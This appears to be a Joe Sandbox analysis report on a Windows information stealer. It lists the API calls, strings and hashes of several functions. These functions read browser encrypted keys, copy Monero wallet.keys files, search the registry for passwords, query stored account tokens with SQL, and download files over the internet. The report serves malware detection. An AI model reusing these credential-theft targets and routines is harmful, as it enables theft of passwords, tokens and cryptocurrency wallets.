Source File: 00000000.00000002.2120930222.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.2120913969.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000F7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000000F8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001116000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.00000000011F0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001218000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001228000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121435599.0000000001229000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121551459.00000000013C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121571129.00000000013C3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: Internetlstrcpylstrlen$HttpOpenRequest$AllocConnectLocalOptionSend
String ID: ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 3240024479-1526165396
Opcode ID: 57bf14f3b015f5cc51893b7b48ec2f4e002c238fde2cd6765031ad430d67ce56
Instruction ID: e01c59d9375ccb14bb49b967dcf183be5cab9bb966c77b2fb4cec14f3e8bbd9e
Opcode Fuzzy Hash: 57bf14f3b015f5cc51893b7b48ec2f4e002c238fde2cd6765031ad430d67ce56
Instruction Fuzzy Hash: E9514F309501489BEB18FF68DD92AED3779EF10305F504018F80A6B192EF34AB4ACB72

Function 00D412D0 Relevance: 16.8, APIs: 11, Instructions: 310COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2120930222.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.2120913969.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000F7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000000F8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001116000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.00000000011F0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001218000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001228000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121435599.0000000001229000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121551459.00000000013C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121571129.00000000013C3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen
String ID:
API String ID: 2001356338-0
Opcode ID: 1de34780a173fe27d4e3d28c688c6c2d194aa1ff52d9b229a27766678d7ba334
Instruction ID: 03bf1fd0a21d3eeac162d64dfc6c6d9994983c89f43bcb9717069a998d694827
Opcode Fuzzy Hash: 1de34780a173fe27d4e3d28c688c6c2d194aa1ff52d9b229a27766678d7ba334
Instruction Fuzzy Hash: 4FC181B594021D9BCB14EF60DC89FEE7378FB64304F004598E50AA7241EA74EA85DFB2

Function 00D44280 Relevance: 16.7, APIs: 11, Instructions: 204stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00D48DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00D48E0B

lstrcat.KERNEL32(?,00000000), ref: 00D442EC
lstrcat.KERNEL32(?,008DDF38), ref: 00D4430B
lstrcat.KERNEL32(?,?), ref: 00D4431F
lstrcat.KERNEL32(?,008DCF28), ref: 00D44333

Part of subcall function 00D4A740: lstrcpy.KERNEL32(00D50E17,00000000), ref: 00D4A788

Part of subcall function 00D48D90: GetFileAttributesA.KERNEL32(00000000,?,00D31B54,?,?,00D5564C,?,?,00D50E1F), ref: 00D48D9F

Part of subcall function 00D39CE0: StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00D39D39

Part of subcall function 00D399C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00D399EC
Part of subcall function 00D399C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00D39A11
Part of subcall function 00D399C0: LocalAlloc.KERNEL32(00000040,?), ref: 00D39A31
Part of subcall function 00D399C0: ReadFile.KERNEL32(000000FF,?,00000000,00D3148F,00000000), ref: 00D39A5A
Part of subcall function 00D399C0: LocalFree.KERNEL32(00D3148F), ref: 00D39A90
Part of subcall function 00D399C0: CloseHandle.KERNEL32(000000FF), ref: 00D39A9A

Part of subcall function 00D493C0: GlobalAlloc.KERNEL32(00000000,00D443DD,00D443DD), ref: 00D493D3

StrStrA.SHLWAPI(?,008DDE18), ref: 00D443F3
GlobalFree.KERNEL32(?), ref: 00D44512

Part of subcall function 00D39AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00D34EEE,00000000,00000000), ref: 00D39AEF
Part of subcall function 00D39AC0: LocalAlloc.KERNEL32(00000040,?,?,?,00D34EEE,00000000,?), ref: 00D39B01
Part of subcall function 00D39AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00D34EEE,00000000,00000000), ref: 00D39B2A
Part of subcall function 00D39AC0: LocalFree.KERNEL32(?,?,?,?,00D34EEE,00000000,?), ref: 00D39B3F

lstrcat.KERNEL32(?,00000000), ref: 00D444A3
StrCmpCA.SHLWAPI(?,00D508D1), ref: 00D444C0
lstrcat.KERNEL32(00000000,00000000), ref: 00D444D2
lstrcat.KERNEL32(00000000,?), ref: 00D444E5
lstrcat.KERNEL32(00000000,00D50FB8), ref: 00D444F4

Memory Dump Source

Source File: 00000000.00000002.2120930222.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.2120913969.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000F7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000000F8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001116000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.00000000011F0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001218000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001228000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121435599.0000000001229000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121551459.00000000013C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121571129.00000000013C3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileLocal$AllocFree$BinaryCryptGlobalString$AttributesCloseCreateFolderHandlePathReadSizelstrcpy
String ID:
API String ID: 3541710228-0
Opcode ID: 1737412b6be6c221fdb546b5dc1c9a3808b11eee5c42bc64ae0da390aa0f43f1
Instruction ID: 85d808dba6ff9c7c2728c32233cbd6c392c06fb9a4f58c6b412f82e6e7823c6f
Opcode Fuzzy Hash: 1737412b6be6c221fdb546b5dc1c9a3808b11eee5c42bc64ae0da390aa0f43f1
Instruction Fuzzy Hash: 16716876900208ABDB14FBA4DC95FEE7779EB88300F044598F60997181DA74DB49DFB2

Function 00D31310 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 141stringfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00D312A0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00D312B4
Part of subcall function 00D312A0: RtlAllocateHeap.NTDLL(00000000), ref: 00D312BB
Part of subcall function 00D312A0: RegOpenKeyExA.ADVAPI32(000000FF,?,00000000,00020119,?), ref: 00D312D7
Part of subcall function 00D312A0: RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 00D312F5
Part of subcall function 00D312A0: RegCloseKey.ADVAPI32(?), ref: 00D312FF

lstrcat.KERNEL32(?,00000000), ref: 00D3134F
lstrlen.KERNEL32(?), ref: 00D3135C
lstrcat.KERNEL32(?,.keys), ref: 00D31377

Part of subcall function 00D4A740: lstrcpy.KERNEL32(00D50E17,00000000), ref: 00D4A788

Part of subcall function 00D4A9B0: lstrlen.KERNEL32(?,008D8A30,?,\Monero\wallet.keys,00D50E17), ref: 00D4A9C5
Part of subcall function 00D4A9B0: lstrcpy.KERNEL32(00000000), ref: 00D4AA04
Part of subcall function 00D4A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00D4AA12

Part of subcall function 00D4A8A0: lstrcpy.KERNEL32(?,00D50E17), ref: 00D4A905

Part of subcall function 00D48B60: GetSystemTime.KERNEL32(00D50E1A,008D9BB8,00D505AE,?,?,00D313F9,?,0000001A,00D50E1A,00000000,?,008D8A30,?,\Monero\wallet.keys,00D50E17), ref: 00D48B86

Part of subcall function 00D4A920: lstrcpy.KERNEL32(00000000,?), ref: 00D4A972
Part of subcall function 00D4A920: lstrcat.KERNEL32(00000000), ref: 00D4A982

CopyFileA.KERNEL32(?,00000000,00000001), ref: 00D31465

Part of subcall function 00D4A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00D4A7E6

Part of subcall function 00D399C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00D399EC
Part of subcall function 00D399C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00D39A11
Part of subcall function 00D399C0: LocalAlloc.KERNEL32(00000040,?), ref: 00D39A31
Part of subcall function 00D399C0: ReadFile.KERNEL32(000000FF,?,00000000,00D3148F,00000000), ref: 00D39A5A
Part of subcall function 00D399C0: LocalFree.KERNEL32(00D3148F), ref: 00D39A90
Part of subcall function 00D399C0: CloseHandle.KERNEL32(000000FF), ref: 00D39A9A

DeleteFileA.KERNEL32(00000000), ref: 00D314EF

Strings

SOFTWARE\monero-project\monero-core, xrefs: 00D31335
.keys, xrefs: 00D3136B
\Monero\wallet.keys, xrefs: 00D3138D
wallet_path, xrefs: 00D31330

Memory Dump Source

Source File: 00000000.00000002.2120930222.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.2120913969.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000F7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000000F8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001116000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.00000000011F0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001218000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001228000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121435599.0000000001229000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121551459.00000000013C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121571129.00000000013C3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$lstrcat$CloseHeapLocallstrlen$AllocAllocateCopyCreateDeleteFreeHandleOpenProcessQueryReadSizeSystemTimeValue
String ID: .keys$SOFTWARE\monero-project\monero-core$\Monero\wallet.keys$wallet_path
API String ID: 3478931302-218353709
Opcode ID: 72398f68d8b9b71f321549ce3f882440669de69b072d5edd7fc709688a6ed5f6
Instruction ID: 601eb34392c771e531b7e9f6cfbe200e126b9c93c720efc303f8151ab83eb3f5
Opcode Fuzzy Hash: 72398f68d8b9b71f321549ce3f882440669de69b072d5edd7fc709688a6ed5f6
Instruction Fuzzy Hash: FB512FB1D901195BDB15FB64DD92BED733CEF54304F404598B60AA2082EE306B8ACFB6

Function 00D375D0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 91stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00D372D0: RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020019,?), ref: 00D3733A
Part of subcall function 00D372D0: RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 00D373B1
Part of subcall function 00D372D0: StrStrA.SHLWAPI(00000000,Password,00000000), ref: 00D3740D
Part of subcall function 00D372D0: GetProcessHeap.KERNEL32(00000000,?), ref: 00D37452
Part of subcall function 00D372D0: HeapFree.KERNEL32(00000000), ref: 00D37459

lstrcat.KERNEL32(00000000,00D517FC), ref: 00D37606
lstrcat.KERNEL32(00000000,00000000), ref: 00D37648
lstrcat.KERNEL32(00000000, : ), ref: 00D3765A
lstrcat.KERNEL32(00000000,00000000), ref: 00D3768F
lstrcat.KERNEL32(00000000,00D51804), ref: 00D376A0
lstrcat.KERNEL32(00000000,00000000), ref: 00D376D3
lstrcat.KERNEL32(00000000,00D51808), ref: 00D376ED
task.LIBCPMTD ref: 00D376FB

Strings

: , xrefs: 00D3764E

Memory Dump Source

Source File: 00000000.00000002.2120930222.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.2120913969.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000F7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000000F8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001116000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.00000000011F0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001218000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001228000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121435599.0000000001229000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121551459.00000000013C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121571129.00000000013C3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Heap$EnumFreeOpenProcessValuetask
String ID: :
API String ID: 2677904052-3653984579
Opcode ID: 7d343485202a4926a730b86ca5bf95cb56793ab4b397000ad290931cc87b2611
Instruction ID: d065a23e2726e6dbd8d1f511213f5da41ddef5b2133168077adee27f917abe36
Opcode Fuzzy Hash: 7d343485202a4926a730b86ca5bf95cb56793ab4b397000ad290931cc87b2611
Instruction Fuzzy Hash: 9E314DB2900209DFCB54EBE4DC96DEE7775EB88302F144118F516A7290DA34A986EB72

Function 00D48100 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,008DDD70,00000000,?,00D50E2C,00000000,?,00000000), ref: 00D48130
RtlAllocateHeap.NTDLL(00000000), ref: 00D48137
GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 00D48158
__aulldiv.LIBCMT ref: 00D48172
__aulldiv.LIBCMT ref: 00D48180
wsprintfA.USER32 ref: 00D481AC

Strings

@, xrefs: 00D4814D
%d MB, xrefs: 00D481A3

Memory Dump Source

Source File: 00000000.00000002.2120930222.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.2120913969.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000F7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000000F8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001116000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.00000000011F0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001218000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001228000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121435599.0000000001229000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121551459.00000000013C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121571129.00000000013C3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: Heap__aulldiv$AllocateGlobalMemoryProcessStatuswsprintf
String ID: %d MB$@
API String ID: 2774356765-3474575989
Opcode ID: 6b2a66a6044c365642848bf03d7167958be8954e4a1aad7b45c4a097151ad56b
Instruction ID: 877e525ff5400aef074d791fb6aecc1f182bd687c8a8999bce680638bb61de91
Opcode Fuzzy Hash: 6b2a66a6044c365642848bf03d7167958be8954e4a1aad7b45c4a097151ad56b
Instruction Fuzzy Hash: 6A210BB1E44218ABDB00DFD4CC4AFAEB7B9FB44B54F104509F605BB280D778A9058BB6

Function 00D360A0 Relevance: 13.6, APIs: 9, Instructions: 133networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00D4A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00D4A7E6

Part of subcall function 00D347B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00D34839
Part of subcall function 00D347B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00D34849

InternetOpenA.WININET(00D50DF7,00000001,00000000,00000000,00000000), ref: 00D3610F
StrCmpCA.SHLWAPI(?,008DE4E0), ref: 00D36147
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,00000100,00000000), ref: 00D3618F
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 00D361B3
InternetReadFile.WININET(?,?,00000400,?), ref: 00D361DC
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00D3620A
CloseHandle.KERNEL32(?,?,00000400), ref: 00D36249
InternetCloseHandle.WININET(?), ref: 00D36253
InternetCloseHandle.WININET(00000000), ref: 00D36260

Memory Dump Source

Source File: 00000000.00000002.2120930222.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.2120913969.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000F7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000000F8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001116000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.00000000011F0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001218000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001228000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121435599.0000000001229000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121551459.00000000013C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121571129.00000000013C3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseFileHandle$Open$CrackCreateReadWritelstrcpylstrlen
String ID:
API String ID: 2507841554-0
Opcode ID: c8fffad00e0a07d1e009029f35d58ed22c993e8899896e254873efa8b2148700
Instruction ID: e75e1048205036c04572065f5237e672b4670246759d32a813b0ab9a8395bd73
Opcode Fuzzy Hash: c8fffad00e0a07d1e009029f35d58ed22c993e8899896e254873efa8b2148700
Instruction Fuzzy Hash: BD5150B194021CABEB24DF50DC45BEE77B8EB44705F108098B609A71C1DB74AA89DFB6

Function 00D372D0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 149registrymemoryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020019,?), ref: 00D3733A
RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 00D373B1
StrStrA.SHLWAPI(00000000,Password,00000000), ref: 00D3740D
GetProcessHeap.KERNEL32(00000000,?), ref: 00D37452
HeapFree.KERNEL32(00000000), ref: 00D37459
task.LIBCPMTD ref: 00D37555

Strings

Password, xrefs: 00D37401

Memory Dump Source

Source File: 00000000.00000002.2120930222.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.2120913969.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000F7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000000F8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001116000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.00000000011F0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001218000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001228000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121435599.0000000001229000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121551459.00000000013C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121571129.00000000013C3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: Heap$EnumFreeOpenProcessValuetask
String ID: Password
API String ID: 775622407-3434357891
Opcode ID: b779cb7da26da02fb9a65d578dba23d0867b7e965867f879a82fc497cc768131
Instruction ID: 514d193a8e801a48b5a9c13d87f173a6f629f3a229c0a60f3dd8b821bb5ba0a5
Opcode Fuzzy Hash: b779cb7da26da02fb9a65d578dba23d0867b7e965867f879a82fc497cc768131
Instruction Fuzzy Hash: DA612BB590426C9BDB24DB50CC51BDAB7B8FF48300F0481E9E689A6141DBB06BC9CFB1

Function 00D3BA80 Relevance: 12.3, APIs: 4, Strings: 4, Instructions: 284stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00D4A740: lstrcpy.KERNEL32(00D50E17,00000000), ref: 00D4A788

Part of subcall function 00D4A9B0: lstrlen.KERNEL32(?,008D8A30,?,\Monero\wallet.keys,00D50E17), ref: 00D4A9C5
Part of subcall function 00D4A9B0: lstrcpy.KERNEL32(00000000), ref: 00D4AA04
Part of subcall function 00D4A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00D4AA12

Part of subcall function 00D4A920: lstrcpy.KERNEL32(00000000,?), ref: 00D4A972
Part of subcall function 00D4A920: lstrcat.KERNEL32(00000000), ref: 00D4A982

Part of subcall function 00D4A8A0: lstrcpy.KERNEL32(?,00D50E17), ref: 00D4A905

Part of subcall function 00D4A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00D4A7E6

lstrlen.KERNEL32(00000000), ref: 00D3BC9F

Part of subcall function 00D48E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00D48E52

StrStrA.SHLWAPI(00000000,AccountId), ref: 00D3BCCD
lstrlen.KERNEL32(00000000), ref: 00D3BDA5
lstrlen.KERNEL32(00000000), ref: 00D3BDB9

Strings

AccountTokens, xrefs: 00D3BB49
SELECT service, encrypted_token FROM token_service, xrefs: 00D3BBEB
AccountId, xrefs: 00D3BCC4
AccountTokens, xrefs: 00D3BABA

Memory Dump Source

Source File: 00000000.00000002.2120930222.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.2120913969.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000F7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000000F8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001116000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.00000000011F0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001218000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001228000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121435599.0000000001229000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121551459.00000000013C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121571129.00000000013C3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$AllocLocal
